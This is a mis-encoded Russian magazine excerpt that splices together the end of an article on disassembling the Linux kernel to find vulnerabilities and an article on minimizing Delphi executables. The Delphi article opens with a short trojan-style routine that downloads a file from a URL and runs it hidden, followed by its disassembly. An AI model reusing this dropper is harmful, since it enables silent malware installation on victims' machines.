c0108a11 t badsys

Â ÷àñòíîñòè, â ÿäðå 2.4.27 ìåòêå ret_from_sys_call ñîîòâåòñòâóåò àäðåñ
C010899Ch. Îòíÿâ îòñþäà áàçîâûé àäðåñ, ìû ïîëó÷èì ñìåùåíèå ìåòêè îò
íà÷àëà ôàéëà: 899Ch, íó à ñàìó ìåòêó íåòðóäíî íàéòè â èñõîäíûõ òåêñòàõ
ãëîáàëüíûì ïîèñêîì. Îíà îïðåäåëåíà â ôàéëå /arch/i386/kernel/entry.S.
Îñòàëüíûå ìåòêè îáðàáàòûâàþòñÿ àíàëîãè÷íî.
À âîò äðóãîé òðþê: åñëè â ÿäðå âñòðåòèëàñü òåêñòîâàÿ ñòðîêà èëè «ðåäêî-
çåìåëüíàÿ» êîìàíäà âðîäå lss èëè mov cr4,xxx, ãëîáàëüíûé ïîèñê ëåãêî îá-
íàðóæèò åå â èñõîäíûõ òåêñòàõ. Ïîñêîëüêó êîìïèëÿòîð òàêèõ êîìàíä çàâå-
äîìî íå ïîíèìàåò, çäåñü ÿâíî èìåëà ìåñòî àññåìáëåðíàÿ âñòàâêà, à çíà-
÷èò, äèçàññåìáëåðíûé êîä áóäåò ïðàêòè÷åñêè ïîëíîñòüþ ñîâïàäàòü ñ ñîîò-
âåòñòâóþùèì ôðàãìåíòîì èñõîäíîãî òåêñòà!
Â îáùåì, â äèçàññåìáëèðîâàíèè ÿäðà íåò íè÷åãî ñâåðõúåñòåñòâåííîãî, è ýòà
çàäà÷à âïîëíå ïî ñèëàì ðÿäîâîìó êîäîêîïàòåëþ.

[ãäå ãíåçäÿòñÿ îøèáêè] Â ïðèêëàäíûõ ïðîãðàììàõ è ñåðâåðíûõ ïðè-
ëîæåíèÿõ íàèáîëüøåå êîëè÷åñòâî îøèáîê ñîñðåäîòî÷åíî â ïåðåïîë-
íÿþùèõñÿ áóôåðàõ (àòàêè òèïà buffer overflow è buffer overrun). Â ÿäðå
òàêæå èìåþòñÿ áóôåðû, íåêîòîðûå èç êîòîðûõ ìîãóò áûòü ïåðåïîëíå-
íû, îäíàêî àòàêè ýòîãî òèïà äëÿ
íåãî íå òàê õàðàêòåðíû.
Âîò ïÿòü îñíîâíûõ èñòî÷íèêîâ îøè-
áîê: ñïèíëîêè (spin lock), íåîæèäàí-
íûå âûõîäû èç ôóíêöèè, ELF-çà-
ãðóç÷èê, ìåíåäæåð âèðòóàëüíîé ïà-
ìÿòè è TCP/IP-ñòåê. Ðàññìîòðèì
âñåõ êàíäèäàòîâ ïîäðîáíåå.
Ñïèíëîêàìè íàçûâàþò ÿ÷åéêè ïà-
ìÿòè, çàùèùàþùèìè ìíîãîçàäà÷-
íûé êîä îò âîçäåéñòâèÿ ïîñòîðîííèõ ïîòîêîâ. Ïðè âõîäå â îõðàíÿåìóþ
çîíó ïðîöåññîð óñòàíàâëèâàåò ñïåöèàëüíûé ôëàã, à ïðè âûõîäå åãî
ñáðàñûâàåò. Äî òåõ ïîð, ïîêà ôëàã íå áóäåò ñáðîøåí, îñòàëüíûå ïîòî-
êè òîï÷óòñÿ ó âûõîäà è íå ìîãóò âûïîëíÿòü êîä. Íà ìíîãîïðîöåññîðíûõ
ÿäðàõ ñïèíëîêè íà÷èíàþòñÿ ñ ïðåôèêñà LOCK, êîòîðûé ëåãêî íàéòè â
äèçàññåìáëåðíîì òåêñòå, åñëè íàæàòü <ALT-T>. Êàê ìû óæå ãîâîðèëè â
ñòàòüå «Çàõâàò íóëåâîãî êîëüöà», ïîääåðæêà ìíîãîçàäà÷íîñòè î÷åíü
ñëîæíàÿ çàäà÷à, è îøèáîê çäåñü ïðîñòî òüìà, òàê ÷òî æàëîâàòüñÿ íà òî,
÷òî «âñå áàãè ïîôèêñåíû äî íàñ», íèêîìó íå ïðèõîäèòñÿ. Ê ñîæàëåíèþ,
áîëüøèíñòâî «ìíîãîçàäà÷íûõ» îøèáîê èìåþò ìíîãîñòóïåí÷àòûé õà-
ðàêòåð, íàãëÿäíî ïðîäåìîíñòðèðîâàííûé â óæå óïîìÿíóòîé ñòàòüå (ñì.
ðàçäåë «Ïðîáëåìû ìíîãîïîòî÷íîñòè»), ïîýòîìó íèêàêèõ óíèâåðñàëü-
íûõ ìåòîäèê èõ ïîèñêà íå ñóùåñòâóåò. Ýòî ðàáîòà äëÿ íàñòîÿùèõ õàêå-
ðîâ, ñïîñîáíûõ óäåðæàòü âñå ÿäðî â ãîëîâå è ñëîæèòü ðàçðîçíåííóþ
ìîçàèêó â åäèíóþ êàðòèíó. Â îáùåì, íàñòîÿùèé õàðäêîð. Ýòî ñëîæíî?
Íó åùå áû! Íî ìû âåäü íå èùåì ëåãêèõ ïóòåé, âåðíî? Çàòî è óäîâëå-

òâîðåíèå îò íàéäåííîé äûðû íàìíîãî áîëüøå, ÷åì îò óñïåøíîãî èñ-
ïîëüçîâàíèÿ ïóáëè÷íîãî ñïëîèòà.

Ïðèìåð êëàññè÷åñêîãî ñïèíëîêà

kernel:C010A65E loc_C010A65E: ; CODE XREF: sub_C010A984+108vj
kernel:C010A65E lock dec byte ptr [ebx-3FCE77F0h]
kernel:C010A665 js loc_C010AA81

Íåîæèäàííûå âûõîäû èç ôóíêöèè (îíè æå ïðåæäåâðåìåííûå) ïðîèñõîäÿò âñÿ-
êèé ðàç, êîãäà èç-çà êàêîé-òî îøèáêè ôóíêöèÿ óæå íå ìîæåò (íå õî÷åò) ïðîäîë-
æèòü ðàáîòó è äåëàåò íåìåäëåííûé return. ×àñòü ðàáîòû ê ýòîìó ìîìåíòó óæå
âûïîëíåíà, à ÷àñòü åùå íåò. Åñëè ïðîãðàììèñò äîïóñòèò äàæå êðîøå÷íóþ
îïëîøíîñòü, ñòðóêòóðû äàííûõ ïðåâðàòÿòñÿ â êàøó. Îäíà èç òàêèõ îøèáîê ñî-
äåðæèòñÿ â ôóíêöèè create_elf_tables(), îïèñàííîé â ïðîøëîé ñòàòüå.
Äëÿ ïîèñêà âíåïëàíîâûõ âûõîäîâ äîñòàòî÷íî ïåðåéòè â êîíåö ôóíêöèè è
ïðîàíàëèçèðîâàòü ïåðåêðåñòíûå ññûëêè, êîòîðûå âåäóò íàâåðõ. ×åì èõ
áîëüøå, òåì âûøå âåðîÿòíîñòü, ÷òî çäåñü îêàæåòñÿ ÷òî-òî íå òàê. Íó à òàì
è äî äûðû óæå íåäàëåêî.

Ïåðåêðåñòíûå ññûëêè â êîíöå ôóíêöèè âåäóò 
ê ìåñòàì âíåçàïíîãî âûõîäà

kernel:C010A810 loc_C010A810: ; CODE XREF: kernel:C010A7F1^j
kernel:C010A810 mov eax, 0FFFFFFEAh
kernel:C010A815
kernel:C010A815 loc_C010A815: ; CODE XREF: kernel:C010A7CF^j
kernel:C010A815 ; kernel:C010A809^j
kernel:C010A815 pop ebx
kernel:C010A816 pop esi
kernel:C010A817 pop edi
kernel:C010A818 pop ebp
kernel:C010A819 pop ecx
kernel:C010A81A retn

Çàãðóç÷èê ELF-ôàéëîâ, ìåíåäæåð âèðòóàëüíîé ïàìÿòè è TCP/IP ñòåê � ýòî
íàñòîÿùèå àéñáåðãè,
êîòîðûå ñëîâíî ëåäÿ-
íûå ãîðû òîð÷àò èç
ÿäðà êèøêàìè íàðóæó,
íî îñíîâíàÿ ìàññà
ñêðûòà â ãëóáèíå âîäû.
Ýòî ñîòíè òûñÿ÷ ñòðîê
êîäà, ñëîæíûì îáðà-
çîì âçàèìîäåéñòâóþ-
ùèõ ìåæäó ñîáîé. Ýòî
ïëîäîòâîðíàÿ ïî÷âà
äëÿ âñåâîçìîæíûõ áà-
ãîâ, êî÷óþùèõ èç îäíîé
âåðñèè ÿäðà â äðóãóþ.
Íåêîòîðûå èç íèõ óæå

âûÿâëåíû, íåêîòîðûå òîëüêî ïðåäñòîèò íàéòè. Â ïåðâóþ î÷åðåäü ñëåäóåò
îáðàòèòü âíèìàíèå íà îáðàáîòêó íåñòàíäàðòíûõ ïîëåé èëè äèêîå ñî÷åòàíèå
ðàçëè÷íûõ àòðèáóòîâ (ñì. ðàçäåë «Ýëüôû ïàäàþò â äàìï»). ×òîáû äåéñòâî-
âàòü íå âñëåïóþ, èìååò ñìûñë ñêà÷àòü ñâåæóþ ïîäøèâêó RFC è îáçàâåñòèñü
ñïåöèôèêàöèåé íà ELF ôîðìàò. È òî, è äðóãîå ëåãêî íàéòè â Ñåòè.

[çàêëþ÷åíèå] Âîò ìû è äîáðàëèñü äî ÿäðà! Ïîãðóçèëèñü â íàñòîÿùèé äè-
çàññåìáëåðíûé ìèð è óâèäåëè, êàê âûãëÿäèò Linux íå òîëüêî ñíàðóæè, íî è
èçíóòðè. Òåïåðü ñàìîå ãëàâíîå çàïàñòèñü ïèâîì, ïàêåòíûìè ñóïàìè è òåð-
ïåíèåì. Íå ñòîèò ðàññ÷èòûâàòü íà áûñòðûé óñïåõ. Íà ïîèñê ïåðâîé äûðû

ìîãóò óéòè ìåñÿöû, îñî-
áåííî, åñëè äèçàññåì-
áëåð åùå ïîäðàãèâàåò
â íåóâåðåííûõ ðóêàõ, è
ïîñòîÿííî ïåðåëèñòûâà-
åòñÿ ïîòðåïàííûé ñïðà-
âî÷íèê ïî ìàøèííûì
êîìàíäàì. Â ðåæèìå ïî-
èñêà áàãîâ õàêåðû íå
îòðûâàþòñÿ îò êîìïüþ-
òåðà ïî 30 è äàæå 40
÷àñîâ. Äèçàññåìáëèðî-
âàíèå çàòÿãèâàåò! Ïî-
ïàñòü ê íåìó â ëàïû
ëåãêî, à âîò âûðâàòüñÿ
î÷åíü ñëîæíî [X
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äèçàññåìáëèðîâàíèå ÿäðà â ãðàôè÷åñêîé
âåðñèè IDA Pro ïîä Win2k

äèçàññåìáëèðîâàíèå ÿäðà â hex-ðåäàêòîðå THE

èçìåíåíèå àòðèáóòîâ ñåãìåíòà 
â IDA Pro







c 14 ñåíòÿáðÿ 
è íàâñåãäà

Âñå äåëî â òåõíèêå

Dîæäàëèñü!

â ÐÎÑÑÈÈ 



Ìíîãèå ñèñòåìíûå ïðîãðàììèñòû ïðèâûêëè ñ÷èòàòü
Delphi ïîëíûì îòñòîåì. Ñâîå ìíåíèå îíè àðãóìåíòè-
ðóþò òåì, ÷òî êîìïèëÿòîð ãåíåðèðóåò ñëèøêîì ìåä-
ëåííûé è áîëüøîé êîä, à ñðåäíèé ðàçìåð ïóñòîé ôîð-

ÒÛ ÏÈØÅØÜ ÍÀ ÄÅËÜÔßÕ È ×ÓÂÑÒÂÓÅØÜ ÑÅ-
Áß ÀÓÒÑÀÉÄÅÐÎÌ? ÒÅÁÅ ÍÅ×ÅÌ ÎÒÂÅÒÈÒÜ Â
ÁÅÑÊÎÍÅ×ÍÛÕ HOLYWAR'ÀÕ? ÒÅÏÅÐÜ ÒÛ ÒÎ×-
ÍÎ ÁÓÄÅØÜ ÇÍÀÒÜ: ÄÅËÜÔÈ ÑÒÎÈÒ ÒÎÃÎ,
×ÒÎÁÛ ÅÃÎ ËÞÁÈÒÜ. È ÍÅ ÒÎËÜÊÎ ÈÇ-ÇÀ
ÏÐÎÑÒÎÒÛ ÝÒÎÃÎ ßÇÛÊÀ. Î×ÅÍÜ ÌÀËÅÍÜÊÈÅ
È Î×ÅÍÜ ÁÛÑÒÐÛÅ ÏÐÎÃÐÀÌÌÛ ÍÀ ÄÅËÜÔÈ �
ÝÒÎ ÂÎÇÌÎÆÍÎ! ÒÛ ÐÀÑÑÊÀÆÅØÜ ÎÁ ÝÒÎÌ
ÂÑÅÌ ÑÎÌÍÅÂÀÞÙÈÌÑß. È Ñ ÌÍÅÍÈÅÌ, ×ÒÎ
ÄÅËÜÔÈ � ßÇÛÊ ÄËß ËÀÌÅÐÎÂ, ÁÓÄÅÒ ÏÎ-
ÊÎÍ×ÅÍÎ! | Ms-Rem (Ms-Rem@yandex.ru, ms-rem.narod.ru)
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Âûæèìàåì èç Delphi âñå
âîçìîæíîå

ìû ñ êíîïêîé � 400 êèëîáàéò. Âïðî-
÷åì, èíîãäà íèêàêèõ àðãóìåíòîâ è âîâ-
ñå íå ïðèâîäèòñÿ. Êîãäà íà ôîðóìàõ
ñòàëêèâàþòñÿ ïîêëîííèêè Ñ++ è Delphi,
ïåðâûå îáû÷íî êðè÷àò î ñóïåðíàâîðî-
÷åííîì ñèíòàêñèñå è ïîòðÿñàþùèõ âîçìîæíîñòÿõ ÎÎÏ, ïðè ýòîì óòâåðæäàÿ, ÷òî â
ñèñòåìíîì ïðîãðàììèðîâàíèè âñå ýòî íåîáõîäèìî, à âòîðûå � î âîçìîæíîñòÿõ
òîãî æå ÎÎÏ íà äåëüôè, êîòîðûõ íåò â Ñ++, è î òîì, ÷òî íà ýòîì ÿçûêå ïèñàòü ïðî-
ùå. Èç ñëîâ è òåõ, è äðóãèõ ìîæíî çàêëþ÷èòü, ÷òî îáå ñòîðîíû íè ïðî Delphi, íè ïðî
C++ íè÷åãî òîëêîì íå çíàþò, è âñå ýòî � ïóñòàÿ ëàìåðñêàÿ áîëòîâíÿ.
Ýòà ñòàòüÿ ïîñâÿùåíà ïðèåìàì ñèñòåìíîãî ïðîãðàììèðîâàíèÿ íà Delphi. Îíà
íàïèñàíà äëÿ òåõ, êòî ëþáèò ýòîò ÿçûê, õî÷åò äîáèòüñÿ ìàêñèìàëüíîé ýôôåê-
òèâíîñòè êîäà è íå áîèòñÿ âëîæèòü â ñâîå äåëî îïðåäåëåííûé òðóä. ß ïîêàæó,
êàê äåëàòü íà äåëüôè òî, ÷òî ìíîãèå ñ÷èòàþò íåâîçìîæíûì. Òåì, êòî çàíèìà-
åòñÿ êîäèíãîì íà Ñ++, íå ñîñòàâèò òðóäà íàéòè öåëóþ êó÷ó ñòàòåé ïî îïòèìè-
çàöèè. Åñëè æå òû ïèøåøü íà Delphi, òû íå íàéäåøü íà ýòó òåìó íè÷åãî õîðî-
øåãî. Âèäèìî, âñå ñ÷èòàþò, ÷òî íèêàêîé îïòèìèçàöèè çäåñü íå íóæíî. Ìîæåò
áûòü, òåáÿ óñòðàèâàåò 400-êèëîáàéòíàÿ ïóñòàÿ ôîðìà ñ êíîïêîé? À, òû äóìà-
åøü, ÷òî ýòî íåèçáåæíîå çëî, è óæå äàâíî ñ íèì ñìèðèëñÿ? ×òî æ, ïðèäåòñÿ
íåìíîãî ðàññòðîèòü òâîè íåðâû è ðàçâåÿòü ñâÿùåííûå çàáëóæäåíèÿ.

[íåìíîãî î ãåíåðèðóåìîì êîìïèëÿòîðîì êîäå] Äëÿ íà÷àëà ïðîâå-
ðèì óòâåðæäåíèå, ÷òî êîìïèëÿòîð Delphi ãåíåðèðóåò ìíîãî ëèøíåãî è íå-
ýôôåêòèâíîãî êîäà. Äëÿ ýòîãî íàïèøåì ôóíêöèþ, ñêà÷èâàþùóþ è çàïóñ-
êàþùóþ ôàéë èç èíòåðíåòà (òàêèå âåùè îáû÷íî èñïîëüçóþò â òðîÿíàõ). Ïè-
ñàòü áóäåì, åñòåñòâåííî, ñ ïðèìåíåíèåì API. Âîò ÷òî ó ìåíÿ ïîëó÷èëîñü:

procedure DownloadAndExecute(Source: PChar); stdcall;
const

DestFile = 'c:\trojan.exe';
begin

UrlDownloadToFile(nil, Source, DestFile, 0, nil);
WinExec(DestFile, SW_HIDE);

end;

Ýòîò ñîðåö ÿ âñòàâèë â ïðîãðàììó, ñêîìïèëèðîâàë è äèçàññåìáëèðîâàë â
IDA. Âîò åãî îòêîììåíòèðîâàííûé ëèñòèíã:

DownloadAndExecute proc near

Source = dword ptr  8

pushebp
mov ebp, esp
push0 ; LPBINDSTATUSCALLBACK
push0 ; DWORD
pushoffset DestFile ; LPCSTR
mov eax, [ebp+Source]
pusheax ; LPCSTR
push0 ; LPUNKNOWN
call URLDownloadToFileA
push0 ; uCmdShow
pushoffset DestFile ; lpCmdLine
call WinExec
pop ebp
retn 4

DownloadAndExecute endp
DestFile db 'c:\trojan.exe',0

112

Íà äèñêå ëåæàò ïîëíûå
èñõîäíûå êîäû âñåõ
ïðèâåäåííûõ â ñòàòüå
ïðèìåðîâ.



ÿçûêà, êàê ÎÎÏ, ðàáîòà ñî ñòðîêàìè (string) è ñïåöèôè÷íûå äëÿ ïàñêàëÿ ôóíê-
öèè (AssignFile, ReadLn, WriteLn, etc.). InitExe âûïîëíÿåò èíèöèàëèçàöèþ âñåãî
ýòîãî äîáðà, à HandleFinally îáåñïå÷èâàåò êîððåêòíîå îñâîáîæäåíèå ðåñóðñîâ.
Ñäåëàíî ýòî, îïÿòü æå, äëÿ óïðîùåíèÿ æèçíè ïðîãðàììèñòàì, è ïðèìåíå-
íèå RTL èíîãäà îïðàâäàííî, òàê êàê ìîæåò íå ïîíèçèòü, à ïîâûñèòü ýôôåê-
òèâíîñòü êîäà. Íàïðèìåð, â ñîñòàâ RTL âõîäèò ìåíåäæåð êó÷è, êîòîðûé
ïîçâîëÿåò áûñòðî âûäåëÿòü è îñâîáîæäàòü ìàëåíüêèå áëîêè ïàìÿòè. 
Ïî ñâîåé ýôôåêòèâíîñòè îí â òðè ðàçà ïðåâîñõîäèò ñèñòåìíûé. Â ïëàíå
ïðîèçâîäèòåëüíîñòè ãåíåðèðóåìîãî êîäà ðàáîòà ñî ñòðîêàìè ðåàëèçîâàíà
â RTL òîæå äîâîëüíî íåïëîõî, ïðàâäà âñå ðàâíî, â óâåëè÷åíèè ðàçìåðà
ôàéëà, RTL � âèíîâíèê íîìåð äâà ïîñëå ÎÎÏ.

[óìåíüøàåì ðàçìåð] Åñëè ìèíèìàëüíûé ðàçìåð â 13,5 Êá òåáÿ íå óñò-
ðàèâàåò, òî áóäåì óáèðàòü Delphi RTL. Âåñü êîä ëèáû íàõîäèòñÿ â äâóõ ôàé-
ëàõ: System.pas è SysInit.pas. Ê ñîæàëåíèþ, êîìïèëÿòîð ïîäêëþ÷àåò èõ ê
ïðîãðàììå â ëþáîì ñëó÷àå, ïîýòîìó åäèíñòâåííîå, ÷òî ìîæíî ñäåëàòü, �
óäàëèòü èç ýòèõ ìîäóëåé âåñü êîä, áåç êîòîðîãî ïðîãðàììà ìîæåò ðàáî-
òàòü, è ïåðåêîìïèëèòü ìîäóëè, à ïîëó÷åííûå DCU-ôàéëû ïîëîæèòü â ïàï-
êó ñ ïðîãðàììîé.
Ôàéë System.pas ñîäåðæèò îñíîâíîé êîä RTL è ïîääåðæêè êëàññîâ, íî âñå ýòî
ìû âûáðîñèì. Ìèíèìàëüíîå ñîäåðæèìîå ýòîãî ôàéëà äîëæíî áûòü òàêèì:

unit System;

interface

procedure _HandleFinally;

type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;

PInitContext = ^TInitContext;
TInitContext = record

OuterContext: PInitContext;   
ExcFrame: Pointer;          
InitTable: pointer;     
InitCount: Integer;          
Module: pointer;       
DLLSaveEBP: Pointer; 
DLLSaveEBX: Pointer; 
DLLSaveESI: Pointer;   
DLLSaveEDI: Pointer;   
ExitProcessTLS: procedure;     
DLLInitState: Byte;             

end;

implementation

procedure _HandleFinally;
asm
end;

end.

Íó, è ãäå æå êó÷à ëèøíåãî êîäà, î êîòîðîì íåêîòîðûå òàê ëþáÿò ãîâîðèòü?
Âñå ïðîñòî è êðàñèâî, ïî÷òè òî æå ñàìîå ìîæíî íàïèñàòü âðó÷íóþ íà àññå-
ìáëåðå. Òåì áîëåå, ÷òî íà íåì íåêîòîðûå óìíèêè èíîãäà òàêîå âûäàþò �
ëþáûå îøèáêè êîìïèëÿòîðà ïîêàæóòñÿ ìåëî÷üþ :).
Ïî÷åìó æå ïðîãðàììû, íàïèñàííûå íà äåëüôè, òàêèå áîëüøèå? Îòêóäà áå-
ðåòñÿ ëèøíèé êîä, åñëè êîìïèëÿòîð åãî íå ãåíåðèðóåò? Ñåé÷àñ ìû ðàçáå-
ðåì ýòîò âîïðîñ ïîäðîáíåå.

[ÎÎÏ � äâèãàòåëü ïðîãðåññà] ÎÎÏ � âåñüìà ìîäíîå â íàñòîÿùåå
âðåìÿ íàïðàâëåíèå ïðîãðàììèðîâàíèÿ. Åãî öåëü � óïðîñòèòü íàïèñàíèå
ïðîãðàìì è ñîêðàòèòü ñðîêè èõ ðàçðàáîòêè, è ñ íåþ ÎÎÏ ïðåêðàñíî ñïðàâ-
ëÿåòñÿ. Áîëüøèíñòâî ïðèêëàäíûõ ïðîãðàììèñòîâ, ïèøóùèõ íà Ñ++ èëè
Delphi, óæå íå ìûñëÿò ñâîåé äåÿòåëüíîñòè áåç ÎÎÏ. Èõ ãëàâíûé ïðèíöèï �
áûñòðåå ñäàë ïðîãðàììó, áûñòðåå ïîëó÷èë äåíüãè. Â òàêèõ óñëîâèÿõ î êà-
êîé áû òî íè áûëî îïòèìèçàöèè ïðîñòî çàáûâàþò.
À âåäü åñëè âçãëÿíóòü íà äåëî ãëàçàìè ñèñòåìíîãî ïðîãðàììèñòà, òî ñðàçó
ñòàíåò î÷åâèäåí ãëàâíûé íåäîñòàòîê: ÎÎÏ � êà÷åñòâî ãåíåðèðóåìîãî êî-
äà. Äîïóñòèì, ó íàñ åñòü êëàññ, íàñëåäóåìûé îò äðóãîãî êëàññà. Ïðè ñîçäà-
íèè îáúåêòà ýòîãî êëàññà êîìïèëÿòîð áóäåò âûíóæäåí ïîëíîñòüþ âêëþ÷èòü
â åãî ñîñòàâ òàêæå êîä ðîäèòåëüñêîãî êëàññà, ïîñêîëüêó íåò âîçìîæíîñòè
îïðåäåëèòü, êàêèå ìåòîäû êëàññîâ èñïîëüçîâàòüñÿ íå áóäóò. Åñëè ó íàñ öå-
ëîå äåðåâî íàñëåäîâàíèÿ êëàññîâ, êàê îáû÷íî è áûâàåò â ðåàëüíûõ ïðîã-
ðàììàõ, òî âåñü åãî êîä âîéäåò â ïðîãðàììó, è îò ýòîãî íèêóäà íå äåíåøü-
ñÿ. Âûçîâ ìåòîäîâ êëàññà ïðîèçâîäèòñÿ ÷åðåç òàáëèöó, ÷òî óâåëè÷èâàåò
âðåìÿ âûçîâà. À êîãäà ìåòîä íàñëåäóåòñÿ îò ðîäèòåëÿ â äåñÿòîì ïîêîëå-
íèè, òî è âûçîâ ïðîõîäèò ÷åðåç äåñÿòü òàáëèö, ïðåæäå ÷åì äîñòèãàåò îáðà-
áàòûâàþùåãî åãî êîäà. Ïîëó÷àåòñÿ, ÷òî âìåñòå ñ êó÷åé ìåðòâîãî êîäà ìû
ïîëó÷àåì åùå íèçêóþ ýôôåêòèâíîñòü ðàáî÷åãî. Âñå ýòî õîðîøî âèäíî íà
ïðèìåðå áèáëèîòåêè VCL â äåëüôè.
À âîò ïðîãðàììà, íàïèñàííàÿ íà VB èëè íà VC ñ ïðèìåíåíèåì MFC, îò÷å-
ãî-òî çàíèìàåò ãîðàçäî ìåíüøå ìåñòà. Âñå ïîòîìó, ÷òî âåëèêàÿ è óæàñíàÿ
êîìïàíèÿ Microsoft ïðèëîæèëà ê ýòîìó ñâîþ ëàïó. MFC è runtime-áèáëèîòå-
êè â VB âåñÿò íè÷óòü íå ìåíüøå, ïðîñòî îíè ñêîìïèëåíû â DLL è âõîäÿò â
ïîñòàâêó Windows, à çíà÷èò, èõ êîä íå ïðèõîäèòñÿ òàñêàòü ñ ñîáîé â ïðîã-
ðàììàõ. Â çàùèòó Borland ìîæíî ñêàçàòü, ÷òî òàêàÿ âîçìîæíîñòü ïðèñóò-
ñòâóåò è â Delphi. Íóæíî ïðîñòî â íàñòðîéêàõ ïðîåêòà ïîñòàâèòü ãàëî÷êó
Build with runtime packages, òîãäà ïðîãðàììà çíà÷èòåëüíî óìåíüøèòñÿ, íî
ïîòðåáóåò íàëè÷èÿ ñîîòâåòñòâóþùèõ runtime-áèáëèîòåê. Åñòåñòâåííî, ýòè
áèáëèîòåêè â ïîñòàâêó âèíäû íå âõîäÿò, íî â ýòîì íàäî âèíèòü íå Áîðëàíä,
à ìîíîïîëüíóþ ïîëèòèêó ìåëêîñîôòà.
Ëþáèòåëè ÎÎÏ, æåëàþùèå ðàçðàáàòûâàòü ïðîãðàììû â âèçóàëüíîì ðåæè-
ìå, ìîãóò èñïîëüçîâàòü KOL. Ýòî ïîïûòêà ñäåëàòü ÷òî-òî òèïà VCL, íî ñ
ó÷åòîì åå íåäîñòàòêîâ. Ñðåäíèé ðàçìåð ïóñòîé ôîðìû ñ êíîïêîé � 35 Êá,
÷òî óæå ëó÷øå, íî äëÿ ñåðüåçíûõ ïðèëîæåíèé ýòà áèáëèîòåêà íå ïîäõîäèò,
òàê êàê ÷àñòî ãëþ÷èò. Äà è ðåøåíèå ýòî ïîëîâèí÷àòîå.
Òå, êòî õî÷åò äîáèòüñÿ äåéñòâèòåëüíî âûñîêîé ýôôåêòèâíîñòè êîäà, äîëæ-
íû èäòè ïî ïðèíöèïèàëüíî äðóãîìó ïóòè: çàáûòü ïðî ÎÎÏ è âñå, ÷òî ñ íèì
ñâÿçàíî, ðàç è íàâñåãäà. Ïèñàòü ïðîãðàììû ïðèäåòñÿ òîëüêî íà ÷èñòîì API.

[âèíîâíèê íîìåð äâà] Ñîçäàäèì â Delphi ïóñòîé ïðîåêò, çàâåäîìî íå
ñîäåðæàùèé íèêàêîãî ïîëåçíîãî êîäà:

program Sample;

begin

end.

Ïîñëå êîìïèëÿöèè â Delphi 7 ìû ïîëó÷àåì ýêçåøíèê ðàçìåðîì â 13,5 Êá.
Îòêóäà?! Âåäü â ïðîãðàììå íè÷åãî íåò! Îòâåò íà ýòîò âîïðîñ îïÿòü ïîìî-
æåò äàòü IDA. Äèçàññåìáëèðóåì ýêçåøíèê è ïîñìîòðèì, ÷òî îí ñîäåðæèò.
Òî÷êà âõîäà â ïðîãðàììó áóäåò âûãëÿäåòü òàê:

public start
start:

push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov eax, offset ModuleId
call _InitExe
; çäåñü ìîã áû áûòü íàø êîä
call _HandleFinally

CODE ends

Âåñü ëèøíèé êîä íàõîäèòñÿ â ôóíêöèÿõ _InitExe è _HandleFinally. Äåëî â òîì,
÷òî ê êàæäîé Delphi ïðîãðàììå íåÿâíî ïîäêëþ÷àåòñÿ êîä, âõîäÿùèé â ñîñòàâ
RTL (Run Time Library). Ýòà ëèáà íóæíà äëÿ ïîääåðæêè òàêèõ âîçìîæíîñòåé [X
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Îïèñàíèÿ ñòðóêòóðû TGUID êîìïèëÿòîð òðåáóåò â ëþáîì ñëó÷àå è áåç íåå
êîìïèëèðîâàòü ìîäóëü îòêàçûâàåòñÿ. TInitContext ïîíàäîáèòñÿ ëèíêåðó, åñ-
ëè ìû áóäåì ñîáèðàòü DLL. HandleFinally � ïðîöåäóðà îñâîáîæäåíèÿ ðå-
ñóðñîâ RTL, êîìïèëÿòîðó îíà òîæå íåîáõîäèìà, õîòÿ ìîæåò áûòü ïóñòîé.
Òåïåðü óðåæåì ôàéë SysInit.pas, êîòîðûé ñîäåðæèò êîä èíèöèàëèçàöèè è çàâåð-
øåíèÿ ðàáîòû RTL è óïðàâëÿåò ïîääåðæêîé ïàêåòîâ. Íàì õâàòèò ñëåäóþùåãî:

unit SysInit;

interface
procedure _InitExe;
procedure _halt0;
procedure _InitLib(Context: PInitContext);

var
ModuleIsLib: Boolean;        
TlsIndex: Integer = -1;       
TlsLast: Byte; 

const
PtrToNil: Pointer = nil;   

implementation

procedure _InitLib(Context: PInitContext);
asm
end;

procedure _InitExe;
asm
end;

procedure _halt0;
asm
end;

end. 

InitExe � ïðîöåäóðà èíèöèàëèçàöèè RTL äëÿ EXE-ôàéëîâ, InitLib � äëÿ
DLL, halt0 � çàâåðøåíèå ðàáîòû ïðîãðàììû. Âñå îñòàëüíûå ëèøíèå
ñòðóêòóðû è ïåðåìåííûå, êîòîðûå ïðèøëîñü îñòàâèòü, íåîáõîäèìû êîì-
ïèëÿòîðó. Îíè íå áóäóò âêëþ÷àòüñÿ â âûõîäíîé ôàéë è íèêàê íå ïîâëè-
ÿþò íà åãî ðàçìåð.
Òåïåðü ïîëîæèì ýòè äâà ôàéëà â ïàïêó ñ ïðîåêòîì è ñêîìïèëèðóåì èõ èç
êîìàíäíîé ñòðîêè:

dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$D- -O

Èçáàâèâøèñü îò RTL, ìû ïîëó÷èëè ýêçåøíèê ðàçìåðîì â 3,5 Êá. Áîðëàíäî-
âñêèé ëèíêåð ñîçäàåò â èñïîëíÿåìîì ôàéëå øåñòü ñåêöèé, îíè âûðàâíèâà-
þòñÿ ïî 512 áàéò, ê íèì ïëþñóåòñÿ PE-çàãîëîâîê, ÷òî è äàåò ýòè 3,5 Êá.
Íî âäîáàâîê ê ìàëîìó ðàçìåðó, ìû ïîëó÷àåì è îïðåäåëåííûå çàòðóäíåíèÿ,
òàê êàê òåïåðü íå ñìîæåì èñïîëüçîâàòü çàãîëîâî÷íûå ôàéëû íà WinAPI,
èäóùèå ñ Delphi. Âìåñòî íèõ ïðèäåòñÿ ïèñàòü ñâîè. Ýòî íåòðóäíî, ïîñêîëü-
êó îïèñàíèÿ èñïîëüçóåìûõ API ìîæíî áðàòü èç áîðëàíäîâñêèõ õåäåðîâ è
ïåðåíîñèòü â ñâîè ïî ìåðå íåîáõîäèìîñòè. 
Åñëè â ñîñòàâå ïðîåêòà åñòü íåñêîëüêî PAS-ôàéëîâ, ëèíêåð äëÿ âûðàâíèâà-
íèÿ êîäà âñòàâèò â íåãî ïóñòûå ó÷àñòêè, è ðàçìåðû îïÿòü óâåëè÷àòñÿ. ×òîáû
ýòîãî èçáåæàòü, íóæíî âñþ ïðîãðàììó, âêëþ÷àÿ îïðåäåëåíèÿ API, ïîìåùàòü

